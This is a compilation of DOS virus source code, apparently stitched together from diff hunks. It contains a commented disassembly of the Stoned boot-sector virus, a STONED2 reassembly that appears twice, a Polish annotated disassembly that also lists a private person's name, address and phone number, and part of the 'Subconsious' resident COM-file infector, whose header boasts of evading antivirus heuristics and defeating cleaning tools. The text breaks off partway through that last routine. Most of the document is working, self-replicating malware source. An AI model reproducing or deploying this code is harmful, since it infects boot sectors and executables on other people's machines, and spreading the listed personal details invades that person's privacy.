REPZ MOVSB ;Copy each byte of code to the top of memory
JMP DWORD PTR CS:JMP_ADR ;JMP to the transferred code...
;**************************************************************
; ...and we'll jump right here, to the transferred code
;**************************************************************
;****************************************************************************
; Redefine variable offsets again. This code executes at the top of memory,
; and so the exact value of the segment registers depends on how much memory
; is installed. The variable offsets have an assembled value of the order of
; 00xx. They are accessed using the CS: segment override
;****************************************************************************
D_TYPE = OFFSET _D_TYPE
O_13_O = OFFSET _O_13_O
O_13_S = OFFSET _O_13_S
J_AD_O = OFFSET _J_AD_O
J_AD_S = OFFSET _J_AD_S
BT_ADD = OFFSET _BT_ADD
HI_JMP: MOV AX,0
INT 13H ;Reset disk system
;**********************************************************************
; This will read one sector into 0000:7C00 (the boot sector address)
;**********************************************************************
XOR AX,AX
MOV ES,AX
MOV AX,201H ;Read one sector
MOV BX,OFFSET 7C00H ;To boot sector area: 0000:7C00
CMP BYTE PTR CS:D_TYPE,0 ;Booting from diskette or hard drive?
JZ DISKET ;If booting from a diskette
;******************************************************
; Booting from a hard drive
;******************************************************
MOV CX,7 ;Track 0, sector 7
MOV DX,80H ;Hard drive, side 0
INT 13H ;Go get it
; ***NOTE** There was no check as to wether or not the read was sucessful
JMP SHORT BOOTUP ;Go run the real boot sector we've installed
NOP
;******************************************************
; Booting from a diskette
;******************************************************
DISKET: MOV CX,3 ;Track 0, sector 3
MOV DX,100H ;A drive, side 1 (last sector of the directory)
INT 13H ;Go get it
JB BOOTUP ;If read error, run it anyway.(???) (A prank?)
;****************************************************************
;Wether or not we print the "Stoned" message depends on the value
; of a byte in the internal clock time -- a fairly random event.
;****************************************************************
TEST BYTE PTR ES:46CH,7 ;Test a bit in the clock time
JNZ GETHDB ;Get Hard drive boot sector
;**************************************************************
; Print the message
;**************************************************************
MOV SI,OFFSET S_MSG ;Address of the "stoned message"
PUSH CS
POP DS
;**************************************************************
; Loop to print individual characters
;**************************************************************
PRINT1: LODSB
OR AL,AL ;A 00 byte means quit the loop
JZ GETHDB ;Get Hard drive boot sector, then
;**************************************************************
; Not done looping. Print another character
;**************************************************************
MOV AH,0EH
MOV BH,0
INT 10H
JMP SHORT PRINT1 ;Print a character on screen
;**************************************************************
; Get Hard drive boot sector
;**************************************************************
GETHDB: PUSH CS
POP ES
MOV AX,201H ;Read one sector...
MOV BX,200H ;...to the buffer following this code...
MOV CL,1 ;...from sector 1...
MOV DX,80H ;...side 0, of the hard drive
INT 13H
JB BOOTUP ;If error, assume no hard drive
; So go run the floppy boot sector
;***************************************************************************
; If no read error, then there really must be a hard drive. Infect it. The
; following code uses the same trick above where the first 4 bytes of the
; boot sector are compared to the first 4 bytes of this code. If they don't
; match exactly, then this hard drive isn't infected.
;***************************************************************************
PUSH CS
POP DS
MOV SI,200H
MOV DI,0
LODSW
CMP AX,[DI]
JNZ HIDEHD ;Hide real boot sector in hard drive
LODSW
CMP AX,[DI+2]
JNZ HIDEHD ;Hide real boot sector in hard drive
;**************************************************************
; Go run the real boot sector
;**************************************************************
BOOTUP: MOV BYTE PTR CS:D_TYPE,0
JMP DWORD PTR CS:BT_ADD
;**************************************************************
; Infect - Hide real boot sector in hard drive
;**************************************************************
HIDEHD: MOV BYTE PTR CS:D_TYPE,2 ;Mark this as a hard drive infection
MOV AX,301H ;Write i sector...
MOV BX,200H ;...from the buffer following this code...
MOV CX,7 ;...to track 0, sector 7...
MOV DX,80H ;...side 0, of the hard drive...
INT 13H ;Do it
JB BOOTUP ;Go run the real boot sector if failed
;**************************************************
; Here if the boot sector got written successfully
;***************************************************
PUSH CS
POP DS
PUSH CS
POP ES
MOV SI,3BEH ;Offset of disk partition table in the buffer
MOV DI,1BEH ;Copy it to the same offset in this code
MOV CX,242H ;Strange. Only need to move 42H bytes. This
; won't hurt, and will overwrite the copy of
; the boot sector, maybe giving a bit more
; concealment.
REPZ MOVSB ;Move them
MOV AX,301H ;Write 1 sector...
XOR BX,BX ;...of this code...
INC CL ;...into sector 1
INT 13H
; ***NOTE*** no check for a sucessful write
JMP BOOTUP ;Now run the real boot sector
S_MSG DB 7,'Your PC is now Stoned!',7,CR,LF
DB LF
;*************************************************************************
; Just garbage. In one version, this contained an extension of the above
; string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
;*************************************************************************
DB 0,4CH,45H,47H,41H
DB 4CH,49H,53H,45H,67H
DB 2,4,68H,2,68H
DB 2,0BH,5,67H,2
END_BYT EQU $ ;Used to determine the size of the code. It
; must be less than 1BE, or this code is too
; large to be used to infect hard disks. From
; offset 1BE and above, the hard disk partition
; table will be copied, and anything placed
; there will get clobbered.
CODE ENDS
END

@@ -0,0 +1,177 @@
PAGE 60,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ STONED2 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Jan-80 ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
DATA_1E EQU 8 ; (694B:0008=0)
DATA_2E EQU 9 ; (694B:0009=0)
DATA_3E EQU 11H ; (694B:0011=0)
CODE_SEG_A SEGMENT
ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A
ORG 100h
stoned2 PROC FAR
start:
DB 31488 DUP (0)
DB 0EAH, 5, 0, 0C0H, 7, 0E9H
DB 99H, 0, 0, 11H, 99H, 0
DB 0F0H, 0E4H, 0, 80H, 9FH, 0
DB 7CH, 0, 0, 1EH, 50H, 80H
DB 0FCH, 2, 72H, 17H, 80H, 0FCH
DB 4, 73H, 12H, 0AH, 0D2H, 75H
DB 0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H
DB 3FH, 4, 0A8H, 1, 75H, 3
DB 0E8H, 7, 0, 58H, 1FH, 2EH
DB 0FFH, 2EH, 9, 0, 53H, 51H
DB 52H, 6, 56H, 57H, 0BEH, 4
DB 0
LOC_1:
MOV AX,201H
PUSH CS
POP ES
MOV BX,200H
XOR CX,CX ; Zero register
MOV DX,CX
INC CX
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
JNC LOC_2 ; Jump if carry=0
XOR AX,AX ; Zero register
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
DEC SI
JNZ LOC_1 ; Jump if not zero
JMP SHORT LOC_4
DB 90H
LOC_2:
XOR SI,SI ; Zero register
MOV DI,200H
CLD ; Clear direction
PUSH CS
POP DS
LODSW ; String [si] to ax
CMP AX,[DI]
JNE LOC_3 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,[DI+2]
JE LOC_4 ; Jump if equal
LOC_3:
MOV AX,301H
MOV BX,200H
MOV CL,3
MOV DH,1
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
JC LOC_4 ; Jump if carry Set
MOV AX,301H
XOR BX,BX ; Zero register
MOV CL,1
XOR DX,DX ; Zero register
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
LOC_4:
POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
DB 33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH
DB 0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H
DB 4CH, 0, 0A3H, 9, 7CH, 0A1H
DB 4EH, 0, 0A3H, 0BH, 7CH, 0A1H
DB 13H, 4, 48H, 48H, 0A3H, 13H
DB 4, 0B1H, 6, 0D3H, 0E0H, 8EH
DB 0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H
DB 0, 0A3H, 4CH, 0, 8CH, 6
DB 4EH, 0, 0B9H, 0B8H, 1, 0EH
DB 1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH
DB 0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH
DB 0, 0B8H, 0, 0, 0CDH, 13H
DB 33H, 0C0H, 8EH, 0C0H, 0B8H, 1
DB 2, 0BBH, 0, 7CH, 2EH, 80H
DB 3EH, 8, 0, 0, 74H, 0BH
DB 0B9H, 7, 0, 0BAH, 80H, 0
DB 0CDH, 13H, 0EBH, 49H, 90H, 0B9H
DB 3, 0, 0BAH, 0, 1, 0CDH
DB 13H, 72H, 3EH, 26H, 0F6H, 6
DB 6CH, 4, 7, 75H, 12H, 0BEH
DB 89H, 1, 0EH, 1FH
LOC_5:
LODSB ; String [si] to al
OR AL,AL ; Zero ?
JZ LOC_6 ; Jump if zero
MOV AH,0EH
MOV BH,0
INT 10H ; Video display ah=functn 0Eh
; write char al, teletype mode
JMP SHORT LOC_5
LOC_6:
PUSH CS
POP ES
MOV AX,201H
MOV BX,200H
MOV CL,1
MOV DX,80H
INT 13H ; Disk dl=drive a: ah=func 02h
; read sectors to memory es:bx
JC LOC_7 ; Jump if carry Set
PUSH CS
POP DS
MOV SI,200H
MOV DI,0
LODSW ; String [si] to ax
CMP AX,[DI]
JNE LOC_8 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,[DI+2]
JNE LOC_8 ; Jump if not equal
LOC_7:
MOV BYTE PTR CS:DATA_1E,0 ; (694B:0008=0)
JMP DWORD PTR CS:DATA_3E ; (694B:0011=0)
LOC_8:
MOV BYTE PTR CS:DATA_1E,2 ; (694B:0008=0)
MOV AX,301H
MOV BX,200H
MOV CX,7
MOV DX,80H
INT 13H ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
JC LOC_7 ; Jump if carry Set
PUSH CS
POP DS
PUSH CS
POP ES
MOV SI,3BEH
MOV DI,1BEH
MOV CX,242H
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV AX,301H
XOR BX,BX ; Zero register
INC CL
INT 13H ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
JMP SHORT LOC_7
DB 7
DB 35 DUP (0)
DB 67H, 2, 6, 67H, 2, 67H
DB 2, 0BH, 3, 67H, 2
stoned2 ENDP
CODE_SEG_A ENDS
END START
@@ -0,0 +1,285 @@
;----------------------------------------------------------------------------
; Wirus dostarczony Grzegorzowi Eiderowi do redakcji KOMPUTERA w poowie
; listopada 1989. Dostawc† jest u§ytkownik z Wiednia:
;
; Karol Grabski
; Vien
; Krummgasse 3/18
; tel. 7133735
;
; SCAN 0.4V35 identyfikuje go jako: STONED VIRUS
; Wirus ma spolszczony komunikat! Oryginalny jest chyba du§szy i nawi†zuje
; do legalizacji marihuany
;
; Na dyskietce wirus rezyduje w boot sector, oryginalny boot sektor chowa do
; ostatniego sektora zajmowanego przez katalog g’¢wny dyskietki.
; Na dysku twardym wirus rezyduje w master boot sektor twardego dysku a
; orygina chowa do 7 sektora žcie§ki 0, strona 0 (czyli poza zasigiem DOS)
;-----------------------------------------------------------------------------
; Posta wirusa bezpožrednio po wczytaniu do pamici z dyskietki
; bajty identyfikuj†ce wirusa (w jego wasnym autotežcie)
07C0:0000 EA0500C007 JMP 07C0:0005 ; skok do nastpnej instrukcji
07C0:0005 E99900 JMP 00A1
; normalnie w tym obszarze s† dane dyskietki, ten wirus, jak wida, tym si
; nie przejmuje i traktuje ten obszar jako roboczy
07C0:0008 00 ; flaga 0 - oznacza start z dyskietki, 2 - z twardego
07C0:0009 69 A0 00 F0 ; oryginalny adres INT 13h
07C0:000D E4 00 80 9F ; adres wirusa w pamici operacyjnej
07C0:0011 00 7C 00 00 ; address of boot sector in memory
;-------------------------------------------------------
; Nowa obsuga INT 13h
;-------------------------------------------------------
07C0:0015 1E PUSH DS
07C0:0016 50 PUSH AX
07C0:0017 80FC02 CMP AH,02 ; poni§ej 'odczyt sektora'
07C0:001A 7217 JB 0033 ; nieciekawa funkcja
07C0:001C 80FC04 CMP AH,04 ; powy§ej 'zapis sektora'
07C0:001F 7312 JAE 0033 ; nieciekawa funkcja
07C0:0021 0AD2 OR DL,DL ; nr dysku
07C0:0023 750E JNZ 0033 ; r¢§ny od A
07C0:0025 33C0 XOR AX,AX
07C0:0027 8ED8 MOV DS,AX
07C0:0029 A03F04 MOV AL,[043F] ; diskette drive motor status
07C0:002C A801 TEST AL,01 ; motor 1 on
07C0:002E 7503 JNZ 0033 ; nie tym razem
07C0:0030 E80700 CALL 003A
07C0:0033 58 POP AX
07C0:0034 1F POP DS
07C0:0035 2E CS:
07C0:0036 FF2E0900 JMP FAR [0009] ; oryginalne INT 13h
07C0:003A 53 PUSH BX ; przechowaj rejestry
07C0:003B 51 PUSH CX
07C0:003C 52 PUSH DX
07C0:003D 06 PUSH ES
07C0:003E 56 PUSH SI
07C0:003F 57 PUSH DI
07C0:0040 BE0400 MOV SI,0004 ; licznik pr¢b
07C0:0043 B80102 MOV AX,0201 ; odczyt sektora
07C0:0046 0E PUSH CS
07C0:0047 07 POP ES
07C0:0048 BB0002 MOV BX,0200 ; za wasny kod
07C0:004B 33C9 XOR CX,CX
07C0:004D 8BD1 MOV DX,CX
07C0:004F 41 INC CX ; boot sektor dysku A ?
07C0:0050 9C PUSHF
07C0:0051 2E CS:
07C0:0052 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h
07C0:0056 730E JAE 0066 ; odczyt udany
07C0:0058 33C0 XOR AX,AX ; resetuj dysk
07C0:005A 9C PUSHF
07C0:005B 2E CS:
07C0:005C FF1E0900 CALL FAR [0009] ; oryginalne INT 13h
07C0:0060 4E DEC SI
07C0:0061 75E0 JNZ 0043 ; ponawiaj pr¢b odczytu
07C0:0063 EB35 JMP 009A ; wycofujemy si
07C0:0065 90 NOP
07C0:0066 33F6 XOR SI,SI ; sprawd¦ czy zainfekowany?
07C0:0068 BF0002 MOV DI,0200
07C0:006B FC CLD
07C0:006C 0E PUSH CS
07C0:006D 1F POP DS
07C0:006E AD LODSW
07C0:006F 3B05 CMP AX,[DI]
07C0:0071 7506 JNZ 0079 ; jeszcze nie
07C0:0073 AD LODSW
07C0:0074 3B4502 CMP AX,[DI+02]
07C0:0077 7421 JZ 009A ; wycofuj si
; infekcja dyskietki
07C0:0079 B80103 MOV AX,0301 ; zapisuj sektor na dysk
07C0:007C BB0002 MOV BX,0200 ; z ES:BX
07C0:007F B103 MOV CL,03 ; do sektora 3
07C0:0081 B601 MOV DH,01 ; na stronie 1
07C0:0083 9C PUSHF ; czyli ostatni sektor zajmowany
07C0:0084 2E CS: ; przez 'root directory'
07C0:0085 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h
07C0:0089 720F JB 009A
07C0:008B B80103 MOV AX,0301 ; zapisuj sektor na dysk
07C0:008E 33DB XOR BX,BX ; ES:0 czyli wirusa
07C0:0090 B101 MOV CL,01 ; sektor 0
07C0:0092 33D2 XOR DX,DX ; strona 0 dysk 0
07C0:0094 9C PUSHF ; czyli jako nowy 'boot sector'
07C0:0095 2E CS:
07C0:0096 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h
07C0:009A 5F POP DI ; koniec žwi¤stw
07C0:009B 5E POP SI
07C0:009C 07 POP ES
07C0:009D 5A POP DX
07C0:009E 59 POP CX
07C0:009F 5B POP BX
07C0:00A0 C3 RET
;----------------------------------------
; kod startowy wirusa
;----------------------------------------
07C0:00A1 33C0 XOR AX,AX ; inicjuj rejestry i stos
07C0:00A3 8ED8 MOV DS,AX
07C0:00A5 FA CLI
07C0:00A6 8ED0 MOV SS,AX
07C0:00A8 BC007C MOV SP,7C00
07C0:00AB FB STI
07C0:00AC A14C00 MOV AX,[004C] ; odczyt wektora INT 13h
07C0:00AF A3097C MOV [7C09],AX
07C0:00B2 A14E00 MOV AX,[004E]
07C0:00B5 A30B7C MOV [7C0B],AX
07C0:00B8 A11304 MOV AX,[0413] ; rozmiar pamici operacyjnej w KB
07C0:00BB 48 DEC AX ; szykuj miejsce dla wirusa
07C0:00BC 48 DEC AX
07C0:00BD A31304 MOV [0413],AX ; informacja dla DOS
07C0:00C0 B106 MOV CL,06 ; przelicz na paragrafy
07C0:00C2 D3E0 SHL AX,CL
07C0:00C4 8EC0 MOV ES,AX ; segment wirusa
07C0:00C6 A30F7C MOV [7C0F],AX ; zapamitaj segment wirusa
07C0:00C9 B81500 MOV AX,0015 ; offset nowej obsugi INT 13h
07C0:00CC A34C00 MOV [004C],AX
07C0:00CF 8C064E00 MOV [004E],ES ; segment nowej obsugi INT 13h
07C0:00D3 B9B801 MOV CX,01B8 ; przesu¤ kod wirusa
07C0:00D6 0E PUSH CS ; ma to na celu instalacj
07C0:00D7 1F POP DS ; cz‘žci rezydentnej
07C0:00D8 33F6 XOR SI,SI ; w ko¤cu pamici operacyjnej
07C0:00DA 8BFE MOV DI,SI
07C0:00DC FC CLD
07C0:00DD F3 REPZ
07C0:00DE A4 MOVSB
07C0:00DF 2E CS:
07C0:00E0 FF2E0D00 JMP FAR [000D] ; skok do przesunitego kodu
; czyli tutaj
07C0:00E4 B80000 MOV AX,0000 ; resetuj dysk
07C0:00E7 CD13 INT 13
07C0:00E9 33C0 XOR AX,AX ; zeruj ES
07C0:00EB 8EC0 MOV ES,AX
07C0:00ED B80102 MOV AX,0201 ; czytaj 1 sektor
07C0:00F0 BB007C MOV BX,7C00 ; do ES:BX (0:7C00)
07C0:00F3 2E CS:
07C0:00F4 803E080000 CMP BYTE PTR [0008],00 ;test flagi (z dyskietki?)
07C0:00F9 740B JZ 0106 ; sprawdzaj flopa
07C0:00FB B90700 MOV CX,0007 ; numer sektora ze strony 0
07C0:00FE BA8000 MOV DX,0080 ; pierwszy twardy dysk
07C0:0101 CD13 INT 13 ; tam jest oryginalny boot sektor
07C0:0103 EB49 JMP 014E ; koniec dziaalnožci wirusa
07C0:0105 90 NOP
07C0:0106 B90300 MOV CX,0003 ; sektor nr 3 žcie§ka 0
07C0:0109 BA0001 MOV DX,0100 ; strona 1 dysk nr 0 (A)
07C0:010C CD13 INT 13
07C0:010E 723E JB 014E ; koniec dziaalnožci wirusa
;-----------------------------------------------------------------
; komunikat "Tw¢j PC jest teraz be!" wraz z sygnaem d¦wikowym
;-----------------------------------------------------------------
07C0:0110 26 ES:
07C0:0111 F6066C0407 TEST BYTE PTR [046C],07 ; modsze sowo zegara
07C0:0116 7512 JNZ 012A ; pomijaj komunikat
07C0:0118 BE8901 MOV SI,0189 ; adres komunikatu
07C0:011B 0E PUSH CS
07C0:011C 1F POP DS
07C0:011D AC LODSB ; drukowanie komunikatu (ASCIIZ)
07C0:011E 0AC0 OR AL,AL
07C0:0120 7408 JZ 012A
07C0:0122 B40E MOV AH,0E ; write character (TTY mode)
07C0:0124 B700 MOV BH,00 ; numer strony video
07C0:0126 CD10 INT 10
07C0:0128 EBF3 JMP 011D ; pobierz nastpny znak
;---------------------------------------------------
; kontrola czy twardy dysk systemowy jest czysty?
;---------------------------------------------------
07C0:012A 0E PUSH CS
07C0:012B 07 POP ES
07C0:012C B80102 MOV AX,0201 ; czytaj 1 sektor dysku
07C0:012F BB0002 MOV BX,0200 ; do ES:BX za wirusa
07C0:0132 B101 MOV CL,01 ; numer sektora
07C0:0134 BA8000 MOV DX,0080 ; pierwszy twardy dysk, strona 0
07C0:0137 CD13 INT 13
07C0:0139 7213 JB 014E ; problemy!
07C0:013B 0E PUSH CS ; sprawdzaj czy ju§ zainfekowany
07C0:013C 1F POP DS
07C0:013D BE0002 MOV SI,0200
07C0:0140 BF0000 MOV DI,0000
07C0:0143 AD LODSW
07C0:0144 3B05 CMP AX,[DI]
07C0:0146 7511 JNZ 0159
07C0:0148 AD LODSW
07C0:0149 3B4502 CMP AX,[DI+02]
07C0:014C 750B JNZ 0159
;-----------------------------------------------------
; koniec akcji, kontynuuj wažciwy bootstrap
;-----------------------------------------------------
07C0:014E 2E CS:
07C0:014F C606080000 MOV BYTE PTR [0008],00 ; flaga 'z dyskietki'
07C0:0154 2E CS:
07C0:0155 FF2E1100 JMP FAR [0011] ; kontynuuj bootstrap
;------------------------------------------------
; infekuj pierwszy twardy dysk
;------------------------------------------------
07C0:0159 2E CS:
07C0:015A C606080002 MOV BYTE PTR [0008],02 ; flaga 'z twardego'
07C0:015F B80103 MOV AX,0301 ; zapisz 1 sektor dyskowy
07C0:0162 BB0002 MOV BX,0200 ; ES:BX sk†d
07C0:0165 B90700 MOV CX,0007 ; do sektora nr 7
07C0:0168 BA8000 MOV DX,0080 ; strona 0 pierwszego dysku twardego
07C0:016B CD13 INT 13
07C0:016D 72DF JB 014E ; problemy!
07C0:016F 0E PUSH CS ; uzupenij wirusa wczytanym kodem
07C0:0170 1F POP DS ; czyli tablicami partycji dysku
07C0:0171 0E PUSH CS
07C0:0172 07 POP ES
07C0:0173 BEBE03 MOV SI,03BE
07C0:0176 BFBE01 MOV DI,01BE
07C0:0179 B94202 MOV CX,0242
07C0:017C F3 REPZ
07C0:017D A4 MOVSB
07C0:017E B80103 MOV AX,0301 ; zapisz na dysk
07C0:0181 33DB XOR BX,BX ; ES:0 sk†d (cay wirus)
07C0:0183 FEC1 INC CL ; CL := 1 numer sektora
07C0:0185 CD13 INT 13
07C0:0187 EBC5 JMP 014E ; koniec
07C0:0189 07 54 77 A2 6A 20 50 .Tw¢j P
07C0:0190 43 20 6A 65 73 74 20 74-65 72 61 7A 20 62 65 21 C jest teraz be!
07C0:01A0 07 0D 0A 0A 00 4C 45 47-41 4C 49 53 45 20 4D 41 .....LEGALISE MA
07C0:01B0 52 49 4A 55 41 4E 41 3F-00 00 00 00 00 00 00 00 RIJUANA?........
* 0004 Lines Of 00 Skipped *
07C0:0200 00 00 00 00 00 00 00 00-00 .........
; Brak oznakowania ko¤ca sektora! (55AA)
@@ -0,0 +1,177 @@
PAGE 60,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ STONED2 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Jan-80 ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
DATA_1E EQU 8 ; (694B:0008=0)
DATA_2E EQU 9 ; (694B:0009=0)
DATA_3E EQU 11H ; (694B:0011=0)
CODE_SEG_A SEGMENT
ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A
ORG 100h
stoned2 PROC FAR
start:
DB 31488 DUP (0)
DB 0EAH, 5, 0, 0C0H, 7, 0E9H
DB 99H, 0, 0, 11H, 99H, 0
DB 0F0H, 0E4H, 0, 80H, 9FH, 0
DB 7CH, 0, 0, 1EH, 50H, 80H
DB 0FCH, 2, 72H, 17H, 80H, 0FCH
DB 4, 73H, 12H, 0AH, 0D2H, 75H
DB 0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H
DB 3FH, 4, 0A8H, 1, 75H, 3
DB 0E8H, 7, 0, 58H, 1FH, 2EH
DB 0FFH, 2EH, 9, 0, 53H, 51H
DB 52H, 6, 56H, 57H, 0BEH, 4
DB 0
LOC_1:
MOV AX,201H
PUSH CS
POP ES
MOV BX,200H
XOR CX,CX ; Zero register
MOV DX,CX
INC CX
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
JNC LOC_2 ; Jump if carry=0
XOR AX,AX ; Zero register
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
DEC SI
JNZ LOC_1 ; Jump if not zero
JMP SHORT LOC_4
DB 90H
LOC_2:
XOR SI,SI ; Zero register
MOV DI,200H
CLD ; Clear direction
PUSH CS
POP DS
LODSW ; String [si] to ax
CMP AX,[DI]
JNE LOC_3 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,[DI+2]
JE LOC_4 ; Jump if equal
LOC_3:
MOV AX,301H
MOV BX,200H
MOV CL,3
MOV DH,1
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
JC LOC_4 ; Jump if carry Set
MOV AX,301H
XOR BX,BX ; Zero register
MOV CL,1
XOR DX,DX ; Zero register
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
LOC_4:
POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
DB 33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH
DB 0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H
DB 4CH, 0, 0A3H, 9, 7CH, 0A1H
DB 4EH, 0, 0A3H, 0BH, 7CH, 0A1H
DB 13H, 4, 48H, 48H, 0A3H, 13H
DB 4, 0B1H, 6, 0D3H, 0E0H, 8EH
DB 0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H
DB 0, 0A3H, 4CH, 0, 8CH, 6
DB 4EH, 0, 0B9H, 0B8H, 1, 0EH
DB 1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH
DB 0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH
DB 0, 0B8H, 0, 0, 0CDH, 13H
DB 33H, 0C0H, 8EH, 0C0H, 0B8H, 1
DB 2, 0BBH, 0, 7CH, 2EH, 80H
DB 3EH, 8, 0, 0, 74H, 0BH
DB 0B9H, 7, 0, 0BAH, 80H, 0
DB 0CDH, 13H, 0EBH, 49H, 90H, 0B9H
DB 3, 0, 0BAH, 0, 1, 0CDH
DB 13H, 72H, 3EH, 26H, 0F6H, 6
DB 6CH, 4, 7, 75H, 12H, 0BEH
DB 89H, 1, 0EH, 1FH
LOC_5:
LODSB ; String [si] to al
OR AL,AL ; Zero ?
JZ LOC_6 ; Jump if zero
MOV AH,0EH
MOV BH,0
INT 10H ; Video display ah=functn 0Eh
; write char al, teletype mode
JMP SHORT LOC_5
LOC_6:
PUSH CS
POP ES
MOV AX,201H
MOV BX,200H
MOV CL,1
MOV DX,80H
INT 13H ; Disk dl=drive a: ah=func 02h
; read sectors to memory es:bx
JC LOC_7 ; Jump if carry Set
PUSH CS
POP DS
MOV SI,200H
MOV DI,0
LODSW ; String [si] to ax
CMP AX,[DI]
JNE LOC_8 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,[DI+2]
JNE LOC_8 ; Jump if not equal
LOC_7:
MOV BYTE PTR CS:DATA_1E,0 ; (694B:0008=0)
JMP DWORD PTR CS:DATA_3E ; (694B:0011=0)
LOC_8:
MOV BYTE PTR CS:DATA_1E,2 ; (694B:0008=0)
MOV AX,301H
MOV BX,200H
MOV CX,7
MOV DX,80H
INT 13H ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
JC LOC_7 ; Jump if carry Set
PUSH CS
POP DS
PUSH CS
POP ES
MOV SI,3BEH
MOV DI,1BEH
MOV CX,242H
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV AX,301H
XOR BX,BX ; Zero register
INC CL
INT 13H ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
JMP SHORT LOC_7
DB 7
DB 35 DUP (0)
DB 67H, 2, 6, 67H, 2, 67H
DB 2, 0BH, 3, 67H, 2
stoned2 ENDP
CODE_SEG_A ENDS
END START
@@ -0,0 +1,259 @@
;
; Subconsious virus, written by Conzouler 1995.
;
; This virus is based on RSV.208.
;
; Effect:
; Flashes a text on line 4 on the screen.
; The text is drawn once on the screen with
; raster beam syncronisation. The after-
; glow can make the text visible for a longer
; period, especially when using black back-
; ground.
;
; Features:
; memory resident
; com-append on execute
; no tb-flags (of course)
; no f-prot heuristics
; untbcleanable
; no destructive routines
; no stealth
;
.model tiny
.code
org 100h
psize equ (offset last - offset entry) / 10h + 7
size equ offset last - offset entry
entry:
db 0e9h,0,0 ;Initial jump
start:
call gores
delta equ $
oentry db 0CDh,20h,90h
gores:
mov ax, 4277h ; Installation check
int 21h
jnc restore
mov ah, 4Ah ; Get size of memory block
mov bx, 0FFFFh
int 21h
mov ah, 4Ah ; Change size of memory
sub bx, psize+1 ; Make space for virus
int 21h
mov ah, 48h ; Allocate memory
mov bx, psize
int 21h
sub ax, 10h ; Compensate org 100h
mov es, ax
mov di, 103h
mov si, sp ; Get entry point
mov si, [si]
sub si, 3 ; Subtract first call
mov cx, size-3
rep movsb ; Copy virus to new memory
push es
pop ds
inc byte ptr ds:[0F1h] ; Mark owner of memory
mov ax, 3508h ; Get interrupt vector
int 21h
mov i08o, bx
mov i08s, es
mov ah, 25h ; Set interrupt vector
mov dx, offset vec08
int 21h
mov ax, 3521h ; Get interrupt vector
int 21h
mov i21o, bx
mov i21s, es
mov ah, 25h ; Set interrupt vector
mov dx, offset vec21
int 21h
restore:
mov di, 100h
push cs ; Set es and ds to psp
pop ds
jmp next ; Clear prefetch queue
db 'Subconsious virus - Conzouler/IR 1995.'
next: pop si ; Get entry point
mov byte ptr ds:si[offset debug+1-delta], 0; Fool tbclean
debug: jmp nodebug
int 20h
nodebug:
push ds
pop es
push di ; Save it
movsw ; Restore program entry point
movsb
retn ; Jump to 100h
db ' Mina tankar „r det sista som ni tar... '
vec08:
pushf
push ax
push cx
push dx
push si
push di
push ds
push es
xor ax, ax ; Get timer
mov ds, ax
mov al, ds:[46Ch]
and al, 7Fh ; See if time to show
or al, al
jnz v08x
cld
